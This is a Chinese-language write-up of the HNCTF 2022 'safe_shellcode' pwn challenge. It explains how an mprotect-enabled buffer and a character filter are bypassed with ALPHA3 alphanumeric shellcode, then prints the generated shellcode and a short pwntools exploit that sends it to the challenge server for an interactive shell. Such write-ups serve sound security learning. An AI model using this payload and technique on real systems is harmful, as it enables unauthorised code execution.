[HNCTF 2022 Week1]safe_shellcode
思路
下载附件,名称为shellcoder,很明显的shellcode提示。
判断题目解法可能是shellcode利用
常规流程查看保护
发现存在NX保护,但是让我们以shellcode的思路去解题,则可能存在修改权限的函数mprotect
ida打开分析
在这里插入代码片
分析代码,发现存在一个mprotect函数修改区段权限为可读可写可执行。
read函数将输入写入局部变量s,之后存在条件判断如果存在指定ASCII码范围内的字符则退出。
查看ASCII码表
即限制范围为 /~z。
之后一个strcpy函数将局部变量中的数据复制进buff,并且将buff当作代码执行。
动态调试查看buff是否具有可执行权限。
发现mprotect函数将0x404000到0x405000之间修改为可读可写可执行。
ida查看发现buff变量存在与范围之间
则可以通过项局部变量中写入shellcode实现利用,但是我们必须绕过限制。
所以写入的shellcode字符必须在范围之间。
这里利用一个shellcode编码工具啊alpha3。
具体使用请参考这篇文章
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客
alpha3
生成包含数字和大小写字母的shellcode
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
结果:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
可以看到shellcode由数字和大小写字母组成,正好在限制范围内。
根据解题思路构造exploit
exp
from pwn import *
#io=process("./shellcoder")
io=remote("node5.anna.nssctf.cn",28258)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
总结
- shellcode
- shellcode编码
- mprotect